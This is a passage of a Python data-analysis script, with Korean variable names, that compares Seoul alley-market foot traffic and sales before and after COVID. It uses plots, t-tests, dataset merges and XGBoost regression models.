eda_상권병합_생활인구[eda_상권병합_생활인구['상권_병합'].isin(edabtm_상권병합_생활인구['상권_병합'])]\nedatop_상권병합_생활인구['총_생활인구_수'] = edatop_상권병합_생활인구['총_생활인구_수']/10000000\nedabtm_상권병합_생활인구['총_생활인구_수'] = edabtm_상권병합_생활인구['총_생활인구_수']/10000000\n\n# 그래프 1 : 분기당 총 생활인구(억)와 평균생활인구\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.plot(eda_분기별_생활인구['분기_코드'], eda_분기별_생활인구['총_생활인구_수']/10000000, label='총_생활인구_수(10억)')\nax1.set_title(\"분기당 총 생활인구(억)\", fontsize=20)\nax1.set_ylabel('생활인구(억)')\nax1.grid(linewidth=0.3)\nax1.axvline(x='2020Q1', color='darkred', linestyle='--')\nax2.plot(eda_분기별_평균생활인구['분기_코드'], eda_분기별_평균생활인구['평균_생활인구']/10000000, label='평균_생활인구', color='orange')\nax2.set_title(\"분기당 총 평균생활인구(억)\", fontsize=20)\nax2.set_ylabel('생활인구(억)')\nax2.grid(linewidth=0.3)\nax2.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.setp(ax1.get_xticklabels(), rotation=45)\nplt.setp(ax2.get_xticklabels(), rotation=45)\nfig.subplots_adjust(wspace=0.2, hspace=0.5)\nfig.suptitle('분기당 총 생활인구(억)와 평균생활인구', fontsize=20)\nplt.show()\n\n# 그래프 2 : 지역별 총 생활인구기준 상위 15지역의 총 생활인구 수(억)\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.set_title(\"지역별 총 생활인구기준 상위 15지역의 총 생활인구 수(억)\", fontsize=15)\nax1.set_xlabel('인구수(억)')\nfor label, grp in edatop_상권병합_생활인구.groupby('상권_병합'):\n    grp.plot(x = '분기_코드', y = '총_생활인구_수',ax = ax1, label = label, linestyle='-', marker='o')\nax1.grid(linewidth=0.3)\nax1.legend(loc=\"upper right\", fontsize=10)\nax2.plot(eda_분기별_생활인구['분기_코드'], eda_분기별_생활인구['총_생활인구_수']/10000000, label='총_생활인구_수(억)')\nax2.set_title(\"분기별 총 생활인구(억)\", fontsize=15)\nax2.set_xlabel('분기')\nax2.set_ylabel('생활인구(억')\nax2.grid(linewidth=0.3)\nax2.axvline(x='2020Q1', color='darkred', linestyle='--')\nfig.subplots_adjust(wspace=0.2, hspace=0.5)\nfig.suptitle('지역별 총 생활인구기준 상위 15지역과 분기별 총 생활인구(억)', fontsize=20)\nplt.legend(loc=\"upper right\")\nplt.show()\n\n# 그래프 3 : 지역별 총 생활인구기준 하위 15지역의 총 생활인구 수(억)\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.set_title(\"지역별 총 생활인구기준 하위 15지역의 총 생활인구 수(억)\", fontsize=15)\nax1.set_xlabel('인구수(억)')\nfor label, grp in edabtm_상권병합_생활인구.groupby('상권_병합'):\n    grp.plot(x = '분기_코드', y = '총_생활인구_수',ax = ax1, label = label, linestyle='-', marker='o')\nax1.grid(linewidth=0.3)\nax1.legend(loc=\"upper right\", fontsize=10)\nax2.plot(eda_분기별_생활인구['분기_코��'], eda_분기별_생활인구['총_생활인구_수']/10000000, label='총_생활인구_수(억)')\nax2.set_title(\"분기별 총 생활인구(억)\", fontsize=15)\nax2.set_xlabel('분기')\nax2.set_ylabel('생활인구(억')\nax2.grid(linewidth=0.3)\nax2.axvline(x='2020Q1', color='darkred', linestyle='--')\nfig.subplots_adjust(wspace=0.2, hspace=0.5)\nfig.suptitle('지역별 총 생활인구기준 하위 15지역과 분기별 총 생활인구(억)', fontsize=20)\nplt.legend(loc=\"upper right\")\nplt.show()\n\n##################### HYPOTHESIS TEST #####################\n\n# PART 1 : 유동인구\n#생활인구1920, 생활인구19, 생활인구20 데이터프레임 생성\n생활인구1920 = 생활인구[(생활인구['기준_년_코드'] == 2019) | (생활인구['기준_년_코드'] == 2020)]\n생활인구19=생활인구[생활인구['기준_년_코드']==2019]\n생활인구20=생활인구[생활인구['기준_년_코드']==2020]\n\n'''\n'코로나 이전(2019년)과 이후(2020년) 골목상권의 유동인구가 감소하였다' 가설 검정\nH0(귀무가설): 코로나 이전 골목상권의 유동인구 = 코로나 이후 골목상권의 유동인구\nH1(대립가설): 코로나 이전 골목상권의 유동인구 > 코로나 이후 골목상권의 유동인구\n'''\n\n# STEP 1 : 정규성 검정\nstats.ranksums(생활인구19['총_생활인구_수'], 생활인구20['총_생활인구_수'])\n\n# STEP 2 : 등분산성 검정\nprint(stats.levene(생활인구19['총_생활인구_수'], 생활인구20['총_생활인구_수']))\nprint(stats.fligner(생활인구19['총_생활인구_수'], 생활인구20['총_생활인구_수']))\nprint(stats.bartlett(생활인구19['총_생활인구_수'], 생활인구20['총_생활인구_수']))\n\n# STEP 3 : t 검정\nt, p = stats.ttest_ind(생활인구19['총_생활인구_수'], 생활인구20['총_생활인구_수'], alternative='greater')\nprint(\"t = \" + str(t))\nprint(\"p = \" + str(p))\n\n# STEP 4 : ttest(상권별)\n가설검정_상권병합= ['풍성', '천호옛길', '천호대', '천중', '진황도', '올림픽', '양재대', '암사길', '성안', '성내',\n       '상일', '상암', '명일', '동남', '구천면', '고덕', '강동대', '오금', '송파대', '송이',\n       '삼전', '백제고분', '마천', '거마', '학동', '테헤란', '일원', '영동대', '언주', '압구정',\n       '선릉', '삼성', '봉은사', '도산대', '도곡', '논현', '남부순환', '개포', '강남대', '서초중앙',\n       '방배중앙', '효령', '청두곶길', '주흥길', '언남길', '신반포', '서초대', '사평대', '사임당',\n       '방배', '반포대', '바우뫼', '마방', '방배천', '동산', '동광', '고무래', '소담길', '원신길',\n       '양지길', '양산길', '호암', '행운길', '청림길', '청룡길', '중앙길', '조원중앙', '조원',\n       '장군봉길', '인헌길', '은천', '양녕', '신원', '신사', '신림', '신림동길', '승방길', '서림길',\n       '봉천', '복은길', '법원단지길', '미성길', '대학길', '당곡길', '남현길', '난향길', '난우길',\n       '난곡', '낙성대역길', '국회단지길', '구암길', '관천', '관악', '흑석', '장승배기', '여의대방',\n       '신대방길', '성대', '서달', '상도', '사당', '만양', '등용', '동작대', '대방동길', '노량진',\n       '국사봉길', '영신', '영등포', '양평', '신길', '선유서', '선유', '디지털', '도신', '도림천',\n       '도림', '대림', '당산', '국회대', '경인', '가마산', '시흥대', '벚꽃', '범안', '문성',\n       '독산', '금하', '가산', '중앙', '우마길', '오류', '신도림', '새말', '부일', '구로중앙',\n       '구로동', '공원', '고척', '개봉', '화곡', '초원', '초록마을', '월정', '우장산', '양천',\n       '방화대', '등촌', '까치산', '공항대', '곰달래', '개화동', '강서', '가로공원', '지양', '은행정',\n       '오목', '신월', '신목', '목동중앙서', '목동중앙북', '목동중앙본', '목동중앙', '목동중앙남', '목동',\n       '목동동', '목동남', '효창원', '토정', '월드컵', '와우산', '양화진길', '양화', '신촌', '숭문길',\n       '성지길', '성산', '성미산', '백범', '방울내', '모래내', '매봉산', '망원', '만리재옛길',\n       '마포대', '동교', '독막', '도화길', '대흥', '광성', '홍제내길', '홍연길', '통일', '충정',\n       '증가', '응암', '연희', '수색', '세무서길', '세검정', '북아현', '명지대길', '독립문', '가재울',\n       '진흥', '증산서길', '증산', '은평', '연서', '역말', '서오릉', '불광천길', '갈현', '가좌',\n       '한글비석', '석계', '상계', '동일', '공릉', '해등', '우이천', '시루봉', '삼양', '방학',\n       '도봉산길', '도봉', '도당', '덕릉', '노해', '한천', '인수봉', '오패산', '수유', '솔샘',\n       '솔매', '삼각산', '화랑', '창경궁', '지봉', '종암', '정릉', '장��', '장월', '인촌',\n       '개운사길', '안암', '아리랑', '성북', '삼선교', '보문', '보국문', '동소문', '돌곶이', '길음',\n       '중랑천', '용마산', '신내', '사가정', '봉화산', '봉우재', '면목', '망우', '답십리', '겸재',\n       '휘경', '천장산', '제기', '전농', '장한', '이문', '왕산', '약령시', '서울시립대', '무학',\n       '난계', '경희대', '자양번영', '자양', '아차산', '뚝섬', '능동', '긴고랑', '광나루', '한림말길',\n       '청계천', '장터길', '용답중앙길', '용답길', '왕십리', '송정가길', '송정라길', '성수일', '성수이',\n       '성덕정길', '서울숲길', '상원길', '사근동길', '무학봉길', '무수막길', '매봉길', '마조', '마장',\n       '둘레길', '금호산길', '고산자', '후암', '회나무', '한남대', '한강대', '청파', '장문', '이태원',\n       '이촌', '원효', '우사단', '신흥', '소월', '서빙고', '두텁바위', '대사관', '녹사평대', '퇴계',\n       '청구', '장충단', '삼일대', '명동길', '동호', '다산', '필운대', '평창길', '창신길', '종',\n       '자하문', '이화장길', '율곡', '옥인길', '숭인동길', '성균관', '삼청', '북촌', '백석동길',\n       '명륜길', '돈화문', '계동길']\n\ntest1=[]\ntest2=[]\ntest3=[]\n\nfor i in 가설검정_상권병합:\n    t, p = stats.ttest_ind(생활인구19[생활인구19['상권_병합']==i]['총_생활인구_수'], 생활인구20[생활인구20['상권_병합']==i]['총_생활인구_수'], alternative='greater')\n    test1.append(i)\n    test2.append(t)\n    test3.append(p)\n    print(i, \"t = \" + str(t), \"p = \" + str(p))\n\nttest = pd.DataFrame(\n    {'i': test1,\n     't': test2,\n     'p': test3\n    })\n\nttest.rename(columns={'i':'상권'}, inplace=True)\nttest['p<0.05'] = ttest['p']<0.05\nttest[ttest['p<0.05']==True]\n\n# PART 2 : 매출액\n\n# 추정매출20\n추정매출20=추정매출[추정매출['기준_년_코드']==2020]\n추정매출20=추정매출20.reset_index(drop=True)\n#추정매출19\n추정매출19=추정매출[추정매출['기준_년_코드']==2019]\n추정매출19=추정매출19.reset_index(drop=True)\n추정매출19['분기_코드'] = 추정매출19['기준_년_코드'].astype(str) + 'Q' + 추정매출19['기준_분기_코드'].astype(str)\n추정매출20['분기_코드'] = 추정매출20['기준_년_코드'].astype(str) + 'Q' + 추정매출20['기준_분기_코드'].astype(str)\n\n'''\n'코로나 이전(2019년)과 이후(2020년) 골목상권의 매출액이 감소하였다' 가설 검정\nH0(귀무가설): 코로나 이전 골목상권의 매출액 = 코로나 이후 골목상권의 매출액\nH1(대립가설): 코로나 이전 골목상권의 매출액 > 코로나 이후 골목상권의 매출액\n단측 검정\n'''\n\n# STEP 1 : 정규성 검정\nstats.ranksums(추정매출19['분기당_매출_금액'], 추정매출20['분기당_매출_금액'])\n\n# STEP 2 : 등분산성 검정\nprint(stats.levene(추정매출19['분기당_매출_금액'], 추정매출20['분기당_매출_금액']))\n\n# STEP 3 : t 검정\nfrom scipy import stats\nt, p = stats.ttest_ind(추정매출19['분기당_매출_금액'], 추정매출20['분기당_매출_금액'], equal_var=False, alternative='greater') #등분산 검정결과 등분산이 아니였기 때문에 false를 입력\nprint(\"t = \" + str(t))\nprint(\"p = \" + str(p))\n\n# STEP 4 : ttest (서비스업종별)\n가설검정_서비스업종 = ['중식음식점', '패스트푸드점', '의약품', '일반의류', '일식음식점', '애완동물', '운동/경기용품', '화초',\n       '컴퓨터및주변장치판매', '여관', '치과의원', '한식음식점', '한의원', '예술학원', '편의점',\n       '호프-간이주점', '양식음식점', '분식전문점', '스포츠 강습', '육류판매', '일반의원', '노래방',\n       '청과상', '고시원', '가구', '섬유제품', '슈퍼마켓', '전자상거래업', '당구장', '피부관리실',\n       '화장품', '골프연습장', '핸드폰', 'PC방', '제과점', '커피-음료', '인테리어', '치킨전문점',\n       '시계및귀금속', '의료기기', '세탁소', '신발', '철물점', '자동차수리', '조명용품', '미곡판매',\n       '네일숍', '자동차미용', '문구', '일반교습학원', '스포츠클럽', '서적', '외국어학원', '미용실',\n       '가방', '가전제품', '안경', '가전제품수리', '반찬가게', '수산물판매', '자전거 및 기타운송장비',\n       '완구', '부동산중개업']\n\ntest1=[]\ntest2=[]\ntest3=[]\n\nfor i in 가설검정_서비스업종:\n    t, p = stats.ttest_ind(추정매출19[추정매출19['서비스_업종_코드_명']==i]['분기당_매출_금액'], 추정매출20[추정매출20['서비스_업종_코드_명']==i]['분기당_매출_금액'], alternative='greater')\n    test1.append(i)\n    test2.append(t)\n    test3.append(p)\n    print(i, \"t = \" + str(t), \"p = \" + str(p))\n\nttest = pd.DataFrame(\n    {'i': test1,\n     't': test2,\n     'p': test3\n    })\n\nttest.rename(columns={'i':'서비스업종'}, inplace=True)\nttest['p<0.05'] = ttest['p'] < 0.05\nttest[ttest['p<0.05']==True]\n\n##################### DATA MERGE #####################\n\n# F01 : 추정매출\ndf = 추정매출[[\n    '기준_년_코드','기준_분기_코드','상권_코드','상권_코드_명','서비스_업종_코드_명', '분기_코드', '분기당_매출_금액', '점포수',\n    '남성_매출_비율','여성_매출_비율',\n    '월요일_매출_비율','화요일_매출_비율','수요일_매출_비율','목요일_매출_비율','금요일_매출_비율','토요일_매출_비율','일요일_매출_비율',\n    '연령대_10_매출_비율','연령대_20_매출_비율','연령대_30_매출_비율','연령대_40_매출_비율','연령대_50_매출_비율','연령대_60_이상_매출_비율',\n    '시간대_00~06_매출_비율','시간대_06~11_매출_비율','시간대_11~14_매출_비율','시간대_14~17_매출_비율','시간대_17~21_매출_비율','시간대_21~24_매출_비율',\n    '남성_매출_금액', '여성_매출_금액',\n    '월요일_매출_금액', '화요일_매출_금액', '수요일_매출_금액', '목요일_매출_금액', '금요일_매출_금액', '토요일_매출_금액', '일요일_매출_금액',\n    '연령대_10_매출_금액', '연령대_20_매출_금액', '연령대_30_매출_금액', '연령대_40_매출_금액', '연령대_50_매출_금액', '연령대_60_이상_매출_금액',\n    '시간대_00~06_매출_금액', '시간대_06~11_매출_금액', '시간대_11~14_매출_금액', '시간대_14~17_매출_금액', '시간대_17~21_매출_금액', '시간대_21~24_매출_금액'\n]]\n\n# F02 : 점포\nf_02 = 점포[[\n    '기준_년_코드', '기준_분기_코드', '상권_코드', '상권_코드_명', '서비스_업종_코드_명', '분기_코드',\n    '유사_업종_점포_수', '개업_점포_수', '폐업_점포_수', '프랜차이즈_점포_수'\n]]\ndf = pd.merge(df, f_02, how='left', on=['기준_년_코드','기준_분기_코드','상권_코드','상권_코드_명','서비스_업종_코드_명','분기_코드'])\n\n# F03 : 직장인구\nf_03 = 직장인구[[\n    '기준_년_코드', '기준_분기_코드', '상권_코드', '상권_코드_명', '분기_코드', '총_직장_인구_수',\n    '남성_직장_인구_수','여성_직장_인구_수',\n    '연령대_10_직장_인구_수','연령대_20_직장_인구_수','연령대_30_직장_인구_수','연령대_40_직장_인구_수','연령대_50_직장_인구_수','연령대_60_이상_직장_인구_수'\n]]\nf_03 = f_03.loc[f_03['기준_년_코드'].isin([2019,2020,2021])]\ndf = pd.merge(df, f_03, how='left', on=['기준_년_코드','기준_분기_코드','상권_코드','상권_코드_명','분기_코드'])\n\n# F04 : 소득소비\nf_04 = 소득소비[[\n    '기준_년_코드', '기준_분기_코드', '상권_코드', '상권_코드_명', '분기_코드', '월_평균_소득_금액', '지출_총금액',\n    '식료품_지출_총금액','의류_신발_지출_총금액','생활용품_지출_총금액','의료비_지출_총금액','교통_지출_총금액','여가_지출_총금액','문화_지출_총금액','교육_지출_총금액','유흥_지출_총금액'\n]]\nf_04 = f_04.loc[f_04['기준_년_코드'].isin([2019,2020,2021])]\ndf = pd.merge(df, f_04, how='left', on=['기준_년_코드','기준_분기_코드','상권_코드','상권_코드_명','분기_코드'])\n\n# F05 : 상주인구\nf_05 = 상주인구[[\n    '기준_년_코드', '기준_분기_코드', '상권_코드', '상권_코드_명', '분기_코드', '총_상주인구_수',\n    '남성_상주인구_수','여성_상주인구_수',\n    '연령대_10_상주인구_수','연령대_20_상주인구_수','연령대_30_상주인구_수','연령대_40_상주인구_수','연령대_50_상주인구_수','연령대_60_이상_상주인구_수'\n]]\nf_05 = f_05.loc[f_05['기준_년_코드'].isin([2019,2020,2021])]\ndf = pd.merge(df, f_05, how='left', on=['기준_년_코드','기준_분기_코드','상권_코드','상권_코드_명','분기_코드'])\n\n# F06 : 생활인구\nf_06 = 생활인구[[\n    '기준_년_코드', '기준_분기_코드', '상권_코드', '상권_코드_명', '분기_코드', '총_생활인구_수',\n    '남성_생활인구_수','여성_생활인구_수',\n    '연령대_10_생활인구_수','연령대_20_생활인구_수','연령대_30_생활인구_수','연령대_40_생활인구_수','연령대_50_생활인구_수','연령대_60_이상_생활인구_수',\n    '시간대_1_생활인구_수', '시간대_2_생활인구_수', '시간대_3_생활인구_수', '시간대_4_생활인구_수', '시간대_5_생활인구_수', '시간대_6_생활인구_수'\n]]\nf_06 = f_06.loc[f_06['기준_년_코드'].isin([2019,2020,2021])]\ndf = pd.merge(df, f_06, how='left', on=['기준_년_코드','기준_분기_코드','상권_코드','상권_코드_명','분기_코드'])\n\n##################### Simple model before data engineering #####################\n\n# Step 1 : DROP 2019 Q1,Q2 (2019Q2 기간전의 소득소비와 직장인구의 데이터의 OUTLIER)\ndf_pre_eng = df.loc[(df['분기_코드'] != '2019Q1') & (df['분기_코드'] != '2019Q2')].reset_index(drop=True)\ndf_pre_eng = df_pre_eng[[\n    '분기당_매출_금액', '서비스_업종_코드_명', '기준_분기_코드', '점포수',\n    '남성_매출_비율', '여성_매출_비율',\n    '월요일_매출_비율', '화요일_매출_비율', '수요일_매출_비율', '목요일_매출_비율', '금요일_매출_비율', '토요일_매출_비율', '일요일_매출_비율',\n    '연령대_10_매출_비율', '연령대_20_매출_비율', '연령대_30_매출_비율', '연령대_40_매출_비율', '연령대_50_매출_비율', '연령대_60_이상_매출_비율',\n    '시간대_00~06_매출_비율', '시간대_06~11_매출_비율', '시간대_11~14_매출_비율', '시간대_14~17_매출_비율', '시간대_17~21_매출_비율', '시간대_21~24_매출_비율',\n    '유사_업종_점포_수', '개업_점포_수', '폐업_점포_수', '프랜차이즈_점포_수',\n    '총_직장_인구_수',\n    '월_평균_소득_금액', '지출_총금액',\n    '총_상주인구_수',\n    '총_생활인구_수'\n]]\n# Step 2 : Scaling\nscale_feature = ['총_직장_인구_수','총_상주인구_수', '총_생활인구_수',\n                 '점포수', '유사_업종_점포_수', '개업_점포_수', '폐업_점포_수', '프랜차이즈_점포_수',\n                 '월_평균_소득_금액', '지출_총금액'\n                 ]\nscale_비율 = ['남성_매출_비율', '여성_매출_비율',\n    '월요일_매출_비율', '화요일_매출_비율', '수요일_매출_비율', '목요일_매출_비율', '금요일_매출_비율', '토요일_매출_비율', '일요일_매출_비율',\n    '연령대_10_매출_비율', '연령대_20_매출_비율', '연령대_30_매출_비율', '연령대_40_매출_비율', '연령대_50_매출_비율', '연령대_60_이상_매출_비율',\n    '시간대_00~06_매출_비율', '시간대_06~11_매출_비율', '시간대_11~14_매출_비율', '시간대_14~17_매출_비율', '시간대_17~21_매출_비율', '시간대_21~24_매출_비율'\n]\n\n# Step 3 : Dummy Variables\nenc = OneHotEncoder()\nenc_df = pd.DataFrame(enc.fit_transform(df_pre_eng[['서비스_업종_코드_명']]).toarray()).astype(int)\ndf_pre_eng = pd.merge(df_pre_eng,enc_df,left_index=True,right_index=True)\ndel df_pre_eng['서비스_업종_코드_명']\n\n# Step 4 : Scaling\nscaler = StandardScaler()\n#df_pre_eng[['분기당_매출_금액']] = scaler.fit_transform(df_pre_eng[['분기당_매출_금액']])\ndf_pre_eng['분기당_매출_금액'] = np.log(1+df_pre_eng['분기당_매출_금액']) #Log transformations reduce right hand skewness and hopefully make the variable more normal\ndf_pre_eng[scale_feature] = pd.DataFrame(scaler.fit_transform(df_pre_eng[scale_feature].T).T, columns=df_pre_eng[scale_feature].columns).values\ndf_pre_eng[scale_비율] = df_pre_eng[scale_비율]/100\n\n# Step 5 : Distribution\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.set_title(\"분기당 매출금액 분포(10억)\")\nax1.hist(df['분기당_매출_금액']/1000000000, color = 'skyblue', edgecolor = 'blue',\n         bins = int(180/5))\nax2.set_title(\"분기당 매출로그금액\")\nax2.hist(df_pre_eng['분기당_매출_금액'], color = 'skyblue', edgecolor = 'blue',\n         bins = int(180/5))\nfig.suptitle('분기별 매출금액 분포비교', fontsize=20)\nfig.subplots_adjust(wspace=0.2, hspace=0.5)\nplt.show()\n\n# Step 6 : Split\nX, Y = df_pre_eng.iloc[:, 1:], df_pre_eng.iloc[:, 0]\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.2, random_state=0)\nX_train, X_val, y_train, y_val = train_test_split(X_train, y_train, test_size=0.2, random_state=0)\nprint(X_train.shape, y_train.shape, X_test.shape, y_test.shape, X_val.shape, y_val.shape)\n\n# Step 7 : XGB_Regression Random\nmodel = XGBRegressor(\n    max_depth=8,\n    n_estimators=300,\n    min_child_weight=300,\n    colsample_bytree=0.8,\n    subsample=0.8,\n    eta=0.3,\n    seed=42)\n\nmodel.fit(\n    X_train,\n    y_train,\n    eval_metric=\"rmse\",\n    eval_set=[(X_train, y_train), (X_val, y_val)],\n    verbose=True,\n    early_stopping_rounds = 10)\n\nxgb_train_pred = model.predict(X_train)\nxgb_val_pred = model.predict(X_val)\nxgb_test_pred = model.predict(X_test)\nprint('Train rmse : ', np.sqrt(mean_squared_error(y_train, xgb_train_pred))) #Train rmse: 0.9206997251428196\nprint('test mape : ',np.mean(np.abs((y_train - xgb_train_pred) / y_train)) * 100) #test mape : 3.7201277170412714\nprint('Validation rmse : ', np.sqrt(mean_squared_error(y_val, xgb_val_pred))) #Validation rmse: 1.0282463657056082\nprint('test mape : ',np.mean(np.abs((y_val - xgb_val_pred) / y_val)) * 100) #test mape : 4.121176078539861\nprint('Test rmse: : ', np.sqrt(mean_squared_error(y_test, xgb_test_pred))) #Test rmse: 1.0138469206304064\nprint('test mape : ',np.mean(np.abs((y_test - xgb_test_pred) / y_test)) * 100) #test mape : 4.055939611795765\n\n# Step 8 : XGB_Regression Hyperparameter_Tune\nxgb1 = XGBRegressor()\nparameters = {'nthread':[3],\n              'objective':['reg:linear'],\n              'learning_rate': [.03, 0.05, .07],\n              'max_depth': [5, 6, 7],\n              'min_child_weight': [4],\n              'silent': [1],\n              'subsample': [0.7],\n              'colsample_bytree': [0.7],\n              'n_estimators': [300]}\n\nxgb_grid = GridSearchCV(xgb1,\n                        parameters,\n                        cv = 2,\n                        n_jobs = 5,\n                        verbose=True)\nxgb_grid.fit(X, Y)\nprint(xgb_grid.best_score_) #0.6934677293491974\nprint(xgb_grid.best_params_)\n#{'colsample_bytree': 0.7, 'learning_rate': 0.07, 'max_depth': 7, 'min_child_weight': 4, 'n_estimators': 300, 'nthread': 3, 'objective': 'reg:linear', 'silent': 1, 'subsample': 0.7}\n\nxgbgs_train_predict = xgb_grid.best_estimator_.predict(X_train)\nxgbgs_test_predict = xgb_grid.best_estimator_.predict(X_test)\nprint('Train rmse:', np.sqrt(mean_squared_error(y_train, xgbgs_train_predict))) # Train rmse: 0.99123679942298\nprint('Traim mape : ',np.mean(np.abs((y_train - xgbgs_train_predict) / y_train)) * 100) # Train mape :  4.043447782253021\nprint('Test rmse:', np.sqrt(mean_squared_error(y_test, xgbgs_test_predict))) #Test rmse: 0.9858068042053384\nprint('Test mape : ',np.mean(np.abs((y_test - xgbgs_test_predict) / y_test)) * 100) #Test mape :  4.00961970732005\n\n# Step 9 : Importance\nplt.rcParams[\"figure.figsize\"] = (20, 8)\nplot_importance(xgb_grid.best_estimator_)\nplt.yticks(fontsize=6)\nplt.title('Simple model before data engineering using XGBregression')\nplt.show()\n\n##################### data engineering and modelling #####################\n\n# Step 1 : adding features (비율)\n#직장인구비율\ndf['연령대_10_직장_인구_비율'] = (df['연령대_10_직장_인구_수']/df['총_직장_인구_수'])*100\ndf['연령대_20_직장_인구_비율'] = (df['연령대_20_직장_인구_수']/df['총_직장_인구_수'])*100\ndf['연령대_30_직장_인구_비율'] = (df['연령대_30_직장_인구_수']/df['총_직장_인구_수'])*100\ndf['연령대_40_직장_인구_비율'] = (df['연령대_40_직장_인구_수']/df['총_직장_인구_수'])*100\ndf['연령대_50_직장_인구_비율'] = (df['연령대_50_직장_인구_수']/df['총_직장_인구_수'])*100\ndf['연령대_60_이상_직장_인구_비율'] = (df['연령대_60_이상_직장_인구_수']/df['총_직장_인구_수'])*100\ndf['남성_직장_인구_비율'] = (df['남성_직장_인구_수']/df['총_직장_인구_수'])*100\ndf['여성_직장_인구_비율'] = (df['여성_직장_인구_수']/df['총_직장_인구_수'])*100\n#지출종류비율\ndf['식료품_지출_비율'] = (df['식료품_지출_총금액']/df['지출_총금액'])*100\ndf['의류_신발_지출_비율'] = (df['의류_신발_지출_총금액']/df['지출_총금액'])*100\ndf['생활용품_지출_비율'] = (df['생활용품_지출_총금액']/df['지출_총금액'])*100\ndf['의료비_지출_비율'] = (df['의료비_지출_총금액']/df['지출_총금액'])*100\ndf['교통_지출_비율'] = (df['교통_지출_총금액']/df['지출_총금액'])*100\ndf['여가_지출_비율'] = (df['여가_지출_총금액']/df['지출_총금액'])*100\ndf['문화_지출_비율'] = (df['문화_지출_총금액']/df['지출_총금액'])*100\ndf['교육_지출_비율'] = (df['교육_지출_총금액']/df['지출_총금액'])*100\ndf['유흥_지출_비율'] = (df['유흥_지출_총금액']/df['지출_총금액'])*100\n#상주인구비율\ndf['연령대_10_상주인구_비율'] = (df['연령대_10_상주인구_수']/df['총_상주인구_수'])*100\ndf['연령대_20_상주인구_비율'] = (df['연령대_20_상주인구_수']/df['총_상주인구_수'])*100\ndf['연령대_30_상주인구_비율'] = (df['연령대_30_상주인구_수']/df['총_상주인구_수'])*100\ndf['연령대_40_상주인구_비율'] = (df['연령대_40_상주인구_수']/df['총_상주인구_수'])*100\ndf['연령대_50_상주인구_비율'] = (df['연령대_50_상주인구_수']/df['총_상주인구_수'])*100\ndf['연령대_60_이상_상주인구_비율'] = (df['연령대_60_이상_상주인구_수']/df['총_상주인구_수'])*100\ndf['남성_상주인구_비율'] = (df['남성_상주인구_수']/df['총_상주인구_수'])*100\ndf['여성_상주인구_비율'] = (df['여성_상주인구_수']/df['총_상주인구_수'])*100\n#생활인구비율\ndf['연령대_10_생활인구_비율'] = (df['연령대_10_생활인구_수']/df['총_생활인구_수'])*100\ndf['연령대_20_생활인구_비율'] = (df['연령대_20_생활인구_수']/df['총_생활인구_수'])*100\ndf['연령대_30_생활인구_비율'] = (df['연령대_30_생활인구_수']/df['총_생활인구_수'])*100\ndf['연령대_40_생활인구_비율'] = (df['연령대_40_생활인구_수']/df['총_생활인구_수'])*100\ndf['연령대_50_생활인구_비율'] = (df['연령대_50_생활인구_수']/df['총_생활인구_수'])*100\ndf['연령대_60_이상_생활인구_비율'] = (df['연령대_60_이상_생활인구_수']/df['총_생활인구_수'])*100\ndf['남성_생활인구_비율'] = (df['남성_생활인구_수']/df['총_생활인구_수'])*100\ndf['여성_생활인구_비율'] = (df['여성_생활인구_수']/df['총_생활인구_수'])*100\n\ndf['시간대_1_생활인구_비율'] = (df['시간대_1_생활인구_수']/df['총_생활인구_수'])*100\ndf['시간대_2_생활인구_비율'] = (df['시간대_2_생활인구_수']/df['총_생활인구_수'])*100\ndf['시간대_3_생활인구_비율'] = (df['시간대_3_생활인구_수']/df['총_생활인구_수'])*100\ndf['시간대_4_생활인구_비율'] = (df['시간대_4_생활인구_수']/df['총_생활인구_수'])*100\ndf['시간대_5_생활인구_비율'] = (df['시간대_5_생활인구_수']/df['총_생활인구_수'])*100\ndf['시간대_6_생활인구_비율'] = (df['시간대_6_생활인구_수']/df['총_생활인구_수'])*100\n\n# Step 2 : Feature selection after (2019Q1 & 2019Q2)\ndf_eng = df.loc[(df['분기_코드'] != '2019Q1') & (df['분기_코드'] != '2019Q2')].reset_index(drop=True)\ndf_eng = df_eng[[\n    '분기당_매출_금액', '기준_분기_코드',\n    '식료품_지출_비율', '의류_신발_지출_비율', '생활용품_지출_비율','의료비_지출_비율','교통_지출_비율','여가_지출_비율','문화_지출_비율','교육_지출_비율','유흥_지출_비율',\n    '남성_매출_비율', '여성_매출_비율', '남성_직장_인구_비율', '여성_직장_인구_비율', '남성_상주인구_비율', '여성_상주인구_비율', '남성_생활인구_비율', '여성_생활인구_비율',\n    '연령대_10_직장_인구_비율', '연령대_20_직장_인구_비율', '연령대_30_직장_인구_비율', '연령대_40_직장_인구_비율', '연령대_50_직장_인구_비율', '연령대_60_이상_직장_인구_비율',\n    '연령대_10_상주인구_비율', '연령대_20_상주인구_비율', '연령대_30_상주인구_비율', '연령대_40_상주인구_비율', '연령대_50_상주인구_비율', '연령대_60_이상_상주인구_비율',\n    '연령대_10_생활인구_비율', '연령대_20_생활인구_비율', '연령대_30_생활인구_비율', '연령대_40_생활인구_비율', '연령대_50_생활인구_비율', '연령대_60_이상_생활인구_비율',\n    '시간대_1_생활인구_비율', '시간대_2_생활인구_비율', '시간대_3_생활인구_비율', '시간대_4_생활인구_비율', '시간대_5_생활인구_비율', '시간대_6_생활인구_비율'\n]]\n# Step 3 : Scaling\nscale_비율 = ['남성_매출_비율', '여성_매출_비율']\n\n# Step 4 : No dummy variables in 서비스_업종_코드_명\n# Step 5 : Scaling\nscaler = StandardScaler()\ndf_eng['분기당_매출_금액'] = np.log(1+df_eng['분기당_매출_금액']) #Log transformations reduce right hand skewness and hopefully make the variable more normal\ndf_eng[scale_비율] = df_eng[scale_비율]/100\n\n# Step 5 : Split\nX, Y = df_eng.iloc[:, 1:], df_eng.iloc[:, 0]\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.2, random_state=0)\nX_train, X_val, y_train, y_val = train_test_split(X_train, y_train, test_size=0.2, random_state=0)\n\n# Step 6 : XGB_Regression Hyperparameter_Tune\nxgb2 = XGBRegressor()\nparameters = {'nthread':[3],\n              'objective':['reg:linear'],\n              'learning_rate': [.03, 0.05, .07],\n              'max_depth': [5, 6, 7],\n              'min_child_weight': [4],\n              'silent': [1],\n              'subsample': [0.7],\n              'colsample_bytree': [0.7],\n              'n_estimators': [300]}\n\nxgb_grid2 = GridSearchCV(xgb2,\n                   